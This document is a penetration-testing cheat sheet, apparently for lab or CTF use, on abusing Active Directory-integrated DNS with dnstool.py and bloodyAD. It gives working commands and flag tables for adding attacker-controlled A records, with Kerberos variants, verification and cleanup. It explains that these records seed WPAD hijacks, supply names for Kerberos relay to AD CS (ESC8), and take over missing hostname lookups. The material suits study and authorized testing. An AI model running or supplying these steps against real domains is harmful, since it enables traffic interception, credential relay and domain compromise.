dnstool & bloodyAD
AD-integrated DNS (ADIDNS) stores zones in LDAP, and many default zones allow authenticated users to create new names, subject to the zone and object ACLs. That lets you point an arbitrary name at your machine — to seed WPAD, satisfy a relay/coercion target name, or fill a missing record a service looks up. Two tools do it: dnstool.py (krbrelayx) and bloodyAD.
dnstool.py (krbrelayx)
# list all zones on the DNS server
dnstool.py -u 'DOMAIN\user' -p pass --print-zones 10.10.10.5
# query an existing record
dnstool.py -u 'DOMAIN\user' -p pass -r existinghost.domain.htb --action query 10.10.10.5
# ADD an A record name -> your IP
dnstool.py -u 'DOMAIN\user' -p pass \
-r attacker.domain.htb --action add --data 10.10.14.6 10.10.10.5
# with Kerberos (NTLM disabled domains)
export KRB5CCNAME=user.ccache
dnstool.py -u 'domain.htb\user' -k \
-r bitbucket.domain.htb --zone domain.htb --action add --data 10.10.14.6 -dns-ip 10.10.10.5 DC01.domain.htb
# remove / tombstone a record you added
dnstool.py -u 'DOMAIN\user' -p pass -r attacker.domain.htb --action remove 10.10.10.5
| Flag | Meaning |
|---|---|
-u 'DOM\user' / -p | credentials (note the DOM\ form) |
-k | Kerberos (reads KRB5CCNAME) |
-r NAME | the record name to target |
-a, --action | add / modify / query / remove / resurrect / ldapdelete (default query) |
-t, --type | record type (only A supported) |
-d, --data | record data (the IP for an A record) |
--zone | zone, if different from the domain |
--print-zones | list zones, make no changes |
-dns-ip | DNS server to resolve against |
--forest / --legacy | search ForestDnsZones / the legacy System partition |
--ttl | record TTL (default 180) |
HOSTNAME (positional) | the LDAP/DC host to connect to |
bloodyAD — dnsRecord
# add attacker.domain.htb -> 10.10.14.6
bloodyAD --host DC.domain.htb -d domain.htb -u user -p pass \
add dnsRecord attacker 10.10.14.6
# Kerberos
bloodyAD --host DC.domain.htb -d domain.htb -u user -p pass -k \
add dnsRecord attacker 10.10.14.6
# read it back
bloodyAD --host DC.domain.htb -d domain.htb -u user -p pass get dnsDump
Confirm it resolves
dig @10.10.10.5 attacker.domain.htb +short # -> 10.10.14.6
nslookup attacker.domain.htb 10.10.10.5
[!tip] Why you add a record
- Relay/coercion target — the Kerberos ESC8 chain needs the DC to auth to a name that points at you (see Kerberos relay to AD CS).
- WPAD hijack — add a
wpadrecord pointing at your Responder/mitm6 box when the zone has no WPAD and GPO blocking isn’t in effect.- Fill a missing lookup — a service that resolves a non-existent hostname becomes attacker-controlled once you add the record.
[!warning] Watch out
- Caching and replication — TTL controls resolver caching, not a fixed AD refresh timer. Query the authoritative server and account for replication to other DCs. If
digreturns nothing, wait one TTL and retry before assuming failure.- Default-deny on some hardened domains — if
addreturns an LDAP access error, the “authenticated users can create” ACL was tightened; you’ll need a more privileged principal.- Clean up —
--action remove(dnstool) your records after; stray A records are noisy and can break the box for others.- Only A records via dnstool’s
-t; for other types manipulate thednsRecordLDAP attribute directly.
Read before writing; verify before cleanup
Record the original LDAP entry and authoritative DNS answer. Creating a new name is different from changing an existing protected record. A successful LDAP bind proves authentication, not write permission.
dig @10.10.10.5 attacker.domain.htb A +noall +answer
Success: LDAP reports the change and the authoritative answer contains the expected address. A workstation’s cached answer alone cannot establish this. WPAD also depends on DNS blocklists and client behaviour; adding an A record does not guarantee a callback.
remove tombstones a record; ldapdelete removes the LDAP object. If you changed an existing record, restore its original data rather than deleting it. For a new test name, document the removal and check that it no longer resolves after caches expire. Special Kerberos relay labels require a valid marshalled suffix; ordinary aliases are not interchangeable with them.
See Also
- Kerberos relay to AD CS (ESC8) — the main consumer of an attacker DNS record.
- mitm6 / IPv6 DNS takeover — the IPv6 counterpart.
- bloodyAD — the rest of its object-abuse actions.